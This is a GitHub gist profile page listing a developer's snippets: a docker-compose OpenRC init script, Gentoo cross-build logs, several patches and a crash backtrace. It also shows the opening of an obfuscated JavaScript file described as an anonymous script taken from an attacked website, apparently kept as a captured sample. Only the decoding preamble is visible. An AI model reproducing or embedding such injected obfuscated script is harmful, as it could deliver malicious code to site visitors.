Skip to content

Instantly share code, notes, and snippets.

View andrew-aladev's full-sized avatar
🐻

Andrew Aladjev andrew-aladev

🐻
View GitHub Profile
@andrew-aladev
andrew-aladev / etc-init.d-docker-compose
Last active April 26, 2022 23:27 — forked from samalba/etc-init.d-docker-compose
For gentoo and openrc
#!/sbin/openrc-run
EXE="/usr/libexec/docker/cli-plugins/docker-compose"
OPTS="-f /etc/conf.d/docker-compose.yml"
UPOPTS="-d"
start() {
ebegin "Starting docker compose"
$EXE $OPTS up $UPOPTS
eend $?
@andrew-aladev
andrew-aladev / script.js
Created February 28, 2022 11:24
Anonymous script from attacked onliner.by
function _0x3aa6(_0x382329,_0x1c4443){var _0x21b519=_0x19d3();return _0x3aa6=function(_0x19d33a,_0x3aa6b1){_0x19d33a=_0x19d33a-(0x11c7+-0x486+0x655*-0x2);var _0x360b4e=_0x21b519[_0x19d33a];return _0x360b4e;},_0x3aa6(_0x382329,_0x1c4443);}var _0x2970b8=_0x3aa6;(function(_0x2234d6,_0x5a704d){var _0x16d62d={_0x4ad784:0xa1,_0x5eb875:0xba,_0x2c3578:0xae,_0x2c18c4:0xb9,_0x293403:0xb2,_0xa2dc49:0xaf},_0x41d401=_0x3aa6,_0x48de1d=_0x2234d6();while(!![]){try{var _0xfd542f=parseInt(_0x41d401(_0x16d62d._0x4ad784))/(-0x3cb*0x3+0x728+0x43a*0x1)*(parseInt(_0x41d401(0xa7))/(0x1*-0x16a1+-0x102*-0x8+-0x5b*-0x29))+parseInt(_0x41d401(_0x16d62d._0x5eb875))/(-0x6b*0x6+0x749+-0x2*0x262)+parseInt(_0x41d401(0xad))/(0x1*-0x20a1+0x1*0x1c98+0x40d)*(-parseInt(_0x41d401(0xab))/(0x10a5*0x1+-0x19a6+0x906))+-parseInt(_0x41d401(_0x16d62d._0x2c3578))/(-0x149b+0x1515+-0x74)+-parseInt(_0x41d401(_0x16d62d._0x2c18c4))/(-0x153d*0x1+-0x516+-0xd2d*-0x2)*(-parseInt(_0x41d401(0xa9))/(0x7fa+0x212f+-0x2921))+parseInt(_0x41d401(_0x16d62d._0x293403))/(0x1*
@andrew-aladev
andrew-aladev / fit.log
Created February 18, 2020 12:07
nettle 3.5.1 disable assembler armeb
These are the packages that would be merged, in order:
Calculating dependencies
* IMPORTANT: 4 news items need reading for repository 'gentoo'.
* Use eselect news read to view new items.
... done!
[ebuild R ~] dev-libs/nettle-3.5.1:0/7::gentoo to /usr/armeb-unknown-linux-gnueabi/ USE="gmp test -doc (-neon) -static-libs" 0 KiB
@andrew-aladev
andrew-aladev / fit.log
Created February 18, 2020 11:53
nettle 3.5.1 armeb log
These are the packages that would be merged, in order:
Calculating dependencies
* IMPORTANT: 4 news items need reading for repository 'gentoo'.
* Use eselect news read to view new items.
.... done!
[ebuild r U ~] dev-libs/nettle-3.5.1:0/7::gentoo [3.4.1:0/6.2::gentoo] to /usr/armeb-unknown-linux-gnueabi/ USE="gmp test* -doc (-neon) -static-libs" 0 KiB
[ebuild rR ] net-libs/gnutls-3.6.7-r1:0/30::gentoo to /usr/armeb-unknown-linux-gnueabi/ USE="cxx idn openssl seccomp test* tls-heartbeat (-dane) -doc -examples -guile -nls -pkcs11 -sslv2 -sslv3 -static-libs (-test-full) -tools -valgrind" 0 KiB
@andrew-aladev
andrew-aladev / log
Created February 18, 2020 11:42
nettle armeb log
These are the packages that would be merged, in order:
Calculating dependencies
* IMPORTANT: 4 news items need reading for repository 'gentoo'.
* Use eselect news read to view new items.
... done!
[ebuild R ] dev-libs/nettle-3.4.1:0/6.2::gentoo to /usr/armeb-unknown-linux-gnueabi/ USE="gmp test* -doc (-neon) -static-libs" 0 KiB
@andrew-aladev
andrew-aladev / user_temp_directory.patch
Created February 15, 2020 22:28
buildah temp user directory
diff --git a/vendor/github.com/containers/storage/utils.go b/vendor/github.com/containers/storage/utils.go
index 28e0a8d..cc45d26 100644
--- a/vendor/github.com/containers/storage/utils.go
+++ b/vendor/github.com/containers/storage/utils.go
@@ -87,12 +87,11 @@ func getRootlessRuntimeDir(rootlessUID int) (string, error) {
if runtimeDir != "" {
return runtimeDir, nil
}
- tmpDir := fmt.Sprintf("/run/user/%d", rootlessUID)
+ tmpDir := fmt.Sprintf("%s/buildah-user-%d", os.TempDir(), rootlessUID)
@andrew-aladev
andrew-aladev / scan.c
Created February 12, 2020 11:58
Flex scan.c
#line 1 "scan.c"
#line 3 "scan.c"
#define YY_INT_ALIGNED short int
/* A lexical scanner generated by flex */
#define FLEX_SCANNER
#define YY_FLEX_MAJOR_VERSION 2
@andrew-aladev
andrew-aladev / aarch64_be.openssl-1.1.1d.patch
Created January 26, 2020 10:09
aarch64_be.openssl-1.1.1d.patch
diff --git a/crypto/aes/asm/aesv8-armx.pl b/crypto/aes/asm/aesv8-armx.pl
index eec0ed230a..8eca5c2e28 100755
--- a/crypto/aes/asm/aesv8-armx.pl
+++ b/crypto/aes/asm/aesv8-armx.pl
@@ -183,7 +183,12 @@ $code.=<<___;
.Loop192:
vtbl.8 $key,{$in1},$mask
vext.8 $tmp,$zero,$in0,#12
- vst1.32 {$in1},[$out],#8
+#ifdef __ARMEB__
@andrew-aladev
andrew-aladev / gist:b11eae6991a5358172f98ee14e1b2917
Created January 23, 2020 21:37
configure: error: Pthreads are required to build libatomic
This file has been truncated, but you can view the full file.
Calculating dependencies ... done!
>>> Verifying ebuild manifests
>>> Running pre-merge checks for cross-i686-gentoo-linux-musl/gcc-9.2.0-r2
Unable to unshare: EPERM
Unable to unshare: EPERM
>>> Emerging (1 of 1) cross-i686-gentoo-linux-musl/gcc-9.2.0-r2::local
Unable to unshare: EPERM
* gcc-9.2.0.tar.xz BLAKE2B SHA512 size ;-) ... [ ok ]
[New LWP 986]
Core was generated by `x86_64-pc-linux-musl-gcc -O2 -pipe -fPIC -I/usr/x86_64-pc-linux-musl/usr/includ'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x00007fb0ac7da3be in do_dlsym (p=0x0, s=0x7fb0aca06528 "mmap", ra=0x7fb0ac9fb8d0 <get_dlsym+71>) at ldso/dynlink.c:2147
Thread 1 (LWP 986):
#0 0x00007fb0ac7da3be in do_dlsym (p=0x0, s=0x7fb0aca06528 "mmap", ra=0x7fb0ac9fb8d0 <get_dlsym+71>) at ldso/dynlink.c:2147
use_deps = 0
def = {sym = 0x2, dso = 0x0}
#1 0x00007fb0ac7da874 in __dlsym (p=0xffffffffffffffff, s=0x7fb0aca06528 "mmap", ra=0x7fb0ac9fb8d0 <get_dlsym+71>) at ldso/dynlink.c:2235